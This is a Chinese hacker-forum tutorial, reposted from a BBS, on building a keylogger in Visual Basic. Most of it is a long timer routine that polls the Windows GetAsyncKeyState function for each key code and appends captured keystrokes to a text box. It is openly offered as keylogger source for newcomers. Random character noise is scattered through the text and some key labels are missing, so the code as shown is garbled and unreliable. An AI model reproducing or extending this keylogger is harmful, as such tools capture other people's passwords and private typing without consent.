手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 8 q4 U c, T7 H8 W版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ , W, N3 X$ q _& g1 l+ h这个程序将会详细的讲解如何记载键盘的每一次输入。 1 Z1 Z7 H& U& J4 P* @3 W+ B下面介绍的这个程序主要是利用GetAsyncKeyState函数， 5 O" {4 I$ }% q, W9 }使用GetAsyncKeyState可以获得键盘的动作。 : V/ {: z; q# N7 f5 f, rGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer * N- W K0 B/ M) o+ x好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 4 b& B' M1 M% z6 } ' q3 U: @$ j" \5 X" ^ $ r# L! q$ _2 N `. d8 [ 在时间控件的Timer时间中定义检查按键类型，代码如下： 7 W- ~4 t' a& r7 B& Y: ]1 C8 MDim AddKey y! e; @+ p( O* o KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then % A4 u% y+ ]' e" [$ q AddKey = "[ENTER]" GoTo KeyFound 0 Q; F: M7 D" i6 W/ u End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 7 P) K" L* l- O! I! A If KeyResult = -32767 Then ! p0 b" j9 w% U! {; I' m7 @ AddKey = "[CTRL]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(8) '退格键 2 f+ T' @, l7 e' T5 H+ A5 ` If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(9) 0 g4 o# N# X" Z' K/ w" _ If KeyResult = -32767 Then ' ^$ P# p' m6 r& o AddKey = "[TAB]" a. P; c- Y' p U' |: s# Y GoTo KeyFound End If " C( E4 x, ?3 y+ L8 w4 E KeyResult = GetAsyncKeyState(18) & O( K' Q x" [ L" \ If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(19) ; a6 V( G4 W1 i/ o3 p0 H- ~- T If KeyResult = -32767 Then AddKey = "[PAUSE]" GoTo KeyFound + Z( L/ [) C; S6 x y- m/ U End If KeyResult = GetAsyncKeyState(20) + o2 H4 O/ d* F4 l' b If KeyResult = -32767 Then AddKey = "[CAPS]" GoTo KeyFound : H4 G3 e' V6 ` h8 f$ k) q End If & U: D& I9 g$ M3 K: r . r% o" t1 l! j0 n3 w KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" . w7 o9 E) x% V! S* { GoTo KeyFound ; ]2 { p6 I9 T+ r5 t End If . J0 t; g5 n/ N KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" % _7 H4 d# l8 r' q% U# r GoTo KeyFound End If * w2 `( {/ j8 {/ T$ p" H s KeyResult = GetAsyncKeyState(34) 9 m: q8 \. Q) k/ b7 c) O' | If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound ) a3 I8 G1 I/ X Q End If 3 k' ?% I2 q8 _# H+ M8 | ( S9 Z2 X( k& I# } KeyResult = GetAsyncKeyState(35) 9 R" l7 G% W2 K& T p If KeyResult = -32767 Then AddKey = "[END]" 5 j( W; R. o" Q+ f, j GoTo KeyFound End If 9 j4 l7 t! d* J. a* j , ^ T. o8 L" N; z; i" `# F* z [ KeyResult = GetAsyncKeyState(36) q5 f$ L8 `- N If KeyResult = -32767 Then 7 { P+ u% C& j+ R' ?4 f AddKey = "[HOME]" q. m3 Z8 |$ I' f9 ~ GoTo KeyFound End If & d& o) P$ q9 R/ V/ I$ }' {$ @ KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then X; U2 I2 O$ } AddKey = "[SYSRQ]" GoTo KeyFound End If / }0 M! H# s5 Q8 y, u: c 4 }8 @( r" m0 z# q, j/ Y& r/ p3 z KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then 2 h# C9 Y3 \/ _% ?2 H+ @; [ AddKey = "[INS]" * D- y* C0 \1 V GoTo KeyFound End If ; Z$ }( j( v* s% z+ o 0 c8 H1 f9 ~- s' H2 ], f7 Q KeyResult = GetAsyncKeyState(46) 2 l5 x- J& @2 a) [7 B If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound % r. j4 W7 ` b. c/ l End If / K/ l3 e2 H$ _& _; J* n2 ^/ I 7 y! d5 F0 l) E k: S# R) Q% W KeyResult = GetAsyncKeyState(144) 0 u2 k) @% E* s5 P If KeyResult = -32767 Then 3 P. N, h) B! I! Z6 J, C$ M6 i AddKey = "[NUM]" GoTo KeyFound & C6 R+ u- f5 N( | End If KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound End If KeyResult = GetAsyncKeyState(38) . }) T) R5 r. |% P, K* m If KeyResult = -32767 Then AddKey = "[UP]" " x1 ?# K$ o& D& Z9 g: Q9 K' k GoTo KeyFound End If ' R( O( Y9 L+ H+ I/ x; n; K7 G( a/ c KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then / |% u3 I' o& K* D. q* M$ {3 z/ }+ J AddKey = "

" ) s8 y8 T* Z0 F2 u, x+ X GoTo KeyFound End If % i, i. \# Y- `# }2 s KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then 5 F& h6 ?4 }& [ ^: \7 W AddKey = "[DOWN]" GoTo KeyFound : j$ v3 `. z1 ] End If KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If , x/ w! I" ?( J5 U. CKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then 2 ~7 N6 j% x6 t/ M AddKey = "[F2]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(114) - t: q+ F0 B a. m' f, c4 B5 i0 ~ If KeyResult = -32767 Then AddKey = "[F3]" & n& e" I$ v" Q z. n; H GoTo KeyFound End If 3 V! g+ {0 C: R# z( d' k6 { KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]" ! S1 Y% P# |0 A a$ w6 W: I GoTo KeyFound 3 e( P6 {# j% R" m End If KeyResult = GetAsyncKeyState(116) ; Y; `1 D( s# I. w( S* v. m7 f0 a If KeyResult = -32767 Then AddKey = "[F5]" . a" d4 x/ M( p' c& j8 z6 r GoTo KeyFound - H! K9 P) `4 k3 @ End If ) q8 B( J( M; L+ V- X) ^1 P . M; a" y* F2 _/ U6 `& u# k8 d. HKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then - z& @4 |0 @( ^3 V, b9 j, q AddKey = "[F6]" GoTo KeyFound 7 Q, r5 [; P- ?. |8 g End If * @1 Z6 f4 k+ O7 w# i KeyResult = GetAsyncKeyState(118) , U; {, L' I3 R* ^ If KeyResult = -32767 Then 5 [& ?/ x4 p2 e1 i3 h- Y AddKey = "[F7]" 3 a4 U% X7 N8 c& V' O" ]1 t- L7 C GoTo KeyFound End If 4 w7 H& o$ b: t8 t! r" t( | KeyResult = GetAsyncKeyState(119) $ g) l- E2 O5 d w9 P If KeyResult = -32767 Then 0 M/ U5 C9 L( T& s AddKey = "[F8]" GoTo KeyFound End If - i! f* b& x( j0 `$ a KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" 2 n* N% a7 q) x' t; I4 J; z GoTo KeyFound End If 8 h2 w+ Q- U1 \$ S% O3 v/ ~ - }+ A! ~& x7 fKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" ! g6 [, R% c' `$ C+ B( h9 U GoTo KeyFound End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then # C$ ~' p* a1 z AddKey = "[F11]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then & I! i Z6 h( W" _ AddKey = "[F12]" GoTo KeyFound End If : u- u% j( p7 x& I) v$ [& n KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then 3 G; v* H# X6 [$ Y: S AddKey = "[F13]" , d. o5 a9 ^2 }+ O, X5 P5 P+ T! \ GoTo KeyFound ! k0 C1 w. ? g; d1 C4 ] End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then ! X" q/ C# C( `; Y8 y6 b! t) h+ ^1 X AddKey = "[F14]" GoTo KeyFound 1 r. ?' {& U* }8 [0 x# Y" o N End If ( ^6 B- e- V }, M6 t/ }; B/ [KeyResult = GetAsyncKeyState(126) 8 P# o, }0 S1 u, r1 R% | If KeyResult = -32767 Then AddKey = "[F15]" 9 _5 G, [; I4 N/ y, Z; J& J GoTo KeyFound * w h z0 d% {. j, x- y+ s End If KeyResult = GetAsyncKeyState(127) 6 k$ h- U! V# J8 ? If KeyResult = -32767 Then AddKey = "[F16]" $ v- ?% [/ z% J/ U9 y4 Q! x GoTo KeyFound End If - `; m- m8 g2 ~6 l- r2 ]" C 7 f7 J1 r& s" S- aKeyResult = GetAsyncKeyState(32) 9 c8 L; R: x. f& ^ If KeyResult = -32767 Then 5 c; {! d, m( P. W5 A AddKey = " " GoTo KeyFound End If ' B5 S( M: L6 Z9 F) N* P/ V! bKeyResult = GetAsyncKeyState(186) / a* g& F5 [; b If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound % e4 M& ~+ k) K( d. q End If d0 R( S$ c5 Y; N KeyResult = GetAsyncKeyState(187) . o6 b9 y, |7 f7 k# C+ B If KeyResult = -32767 Then AddKey = "=" GoTo KeyFound End If ; E5 n; }5 W) @3 |) V% ^/ @ KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If 4 o4 {' K- C* t2 m 7 l" H! {% N) m2 v+ w* iKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." 8 Y) H' t$ o( B' J1 J' w% W GoTo KeyFound End If ; g. ]8 D- D5 }; o * ?8 k K! a. i- ]& [KeyResult = GetAsyncKeyState(191) % h: G ~: U* Q! h If KeyResult = -32767 Then AddKey = "/" '/ " r$ Q; @% }( s+ e GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then * [3 V, I" f6 D- S AddKey = "`" '` 9 |* q0 j; e- ?) L; \" d$ ?4 S GoTo KeyFound # X, m/ a( c1 _5 F3 P- c End If + E& @( {4 I3 L7 I$ @+ y9 M 7 P9 l2 P( `" u4 r( l" y5 S8 d 1 f! s6 l, I' F$ R3 ^'----------NUM PAD KeyResult = GetAsyncKeyState(96) ; ?5 y9 W/ `3 ~8 y' J6 i If KeyResult = -32767 Then - p9 f; K6 L/ L& n, N AddKey = "0" GoTo KeyFound End If 0 h* M7 {4 `0 ?& ~' X8 Q; C% @ KeyResult = GetAsyncKeyState(97) ; R+ l6 j/ h+ H1 s/ { If KeyResult = -32767 Then 2 C4 u7 Z" d) h6 r8 V% n7 f8 N AddKey = "1" ; X& G: m* p! y$ c5 [. D GoTo KeyFound End If 8 |0 A% c2 a Y' E 8 L* n. e& O. W& y' m7 n, RKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound : g; X# S) t% P; T3 d: D4 } End If ! z J' x0 f* M9 ]' C' ~# ? ! b2 N3 g+ Z( A* R2 BKeyResult = GetAsyncKeyState(99) ) z) _, o+ O9 H4 @- A" f2 O If KeyResult = -32767 Then % C) K. b$ I) ] AddKey = "3" GoTo KeyFound T6 h \9 m. U End If / F7 F# s: Q6 O+ X9 B5 P/ } KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then 9 X8 U4 _% a* H! f AddKey = "4" GoTo KeyFound 1 F: {+ a7 i& I1 N2 w1 i( `1 d End If KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then " T, C+ M2 t: u2 X AddKey = "5" & C m" W5 G4 H GoTo KeyFound End If * E; c6 L& E% {: g7 \, A # c( K: x' J# I2 }$ H' y KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then 1 _9 _; l6 h; w# e/ k( I! g: X AddKey = "6" 7 c( u! X) D* E GoTo KeyFound End If " h( V2 Q7 e7 M( w2 m) { 4 u9 X3 [1 v+ O( nKeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then & s1 H: W+ u" h% F; b8 K AddKey = "7" 2 G6 O5 h! C4 N# ~0 j8 r GoTo KeyFound " u2 P4 [4 g5 i! S8 K" Q2 C3 N: } End If $ l# p+ O) l# x4 z$ X& N ; f* n, @1 N9 L0 dKeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then * o, z5 V- `5 ~) p4 P AddKey = "8" GoTo KeyFound End If # G) C) i, c) O6 Z1 \$ M' X ) e6 x6 j3 e& `7 y+ X) ZKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then * m9 ~7 ], z6 B% Y AddKey = "9" GoTo KeyFound End If / {; \' p, O8 a% ^1 d( ^' P3 U: I+ UKeyResult = GetAsyncKeyState(106) 4 ^1 S2 i0 p+ E If KeyResult = -32767 Then AddKey = "*" 6 t0 t3 g- a1 h# c) U GoTo KeyFound " F% }/ ]8 O6 y! Z. E- p End If " Y5 D& s K g# |. x# p 9 y& G% t& D3 e* e& ?& y! v) EKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then ) L% ^; K* e$ w0 P5 y AddKey = "+" - n$ J" |8 d! b" [7 ~ GoTo KeyFound - l/ H* e9 e! E6 F l End If 6 R- V1 K! B+ J4 y& ^ 0 s+ d9 X+ a6 dKeyResult = GetAsyncKeyState(108) ; r9 c" m- R! g% O' W% c If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If ! T$ p* m# n6 Y9 N KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then 7 t$ q2 ~! W# D) l6 \6 G AddKey = "." GoTo KeyFound End If : l9 t! V* H, J+ JKeyResult = GetAsyncKeyState(2) $ e( }. C# A! C6 |- i If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound 7 w- A# W! x5 O( ]5 e End If ( [/ B" n' Z- \* ?6 }6 n- ~& qKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then AddKey = "\" 6 E) l, |: Q! [9 h GoTo KeyFound End If ) H( b# `; J3 BKeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" - H3 Y" e% _2 m. X) y GoTo KeyFound 8 S$ ~& [, Q7 R/ c7 N3 S6 K! H End If 9 ?9 ?( e# L$ P% X. PKeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = "[" GoTo KeyFound End If " L0 X4 W) E* B ! H! [# R# F: o* {6 _ y# iKeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then ; {/ R9 h- v$ D, p( V& } y/ r/ k AddKey = "[SHIFT]" LastKey = AddKey . E0 q% f0 f) _5 v TimeOut = 1 GoTo KeyFound , ]) e( [9 O8 J0 _& _5 v: c, c0 u End If 5 @8 S9 u" q, [9 ` ! `1 o1 o3 x- p* e1 i KeyLoop = 41 ; o- B* r1 \$ G y 2 d& ^7 ?2 q( J" F& K Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 Loop & ]3 H' S: O9 U8 t; M LastKey = AddKey Exit Sub 2 J4 [6 J: t- ~# Y/ ~KeyFound: '显示键的信息 " g1 }5 [3 j. J& z6 R4 d1 SText1 = Text1 & AddKey End Sub ' C- ^* l: I' r/ n上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 ) H4 I+ Y) t8 s6 v3 xhttp://www.cstudy.cn/repository/ascii/default.htm : ~/ B/ W5 \ H4 l/ c% d下面是其他的事件 0 y( b1 D4 @6 m% M) H3 }' EPrivate Sub Timer2_Timer() 6 V. c5 w* e* f* QTimeOut = 0 5 H$ M2 [6 Q% r" JEnd Sub 8 I$ j" t; A2 c: ]5 h9 w目的是随时刷新清空 % V5 n( ]6 @; A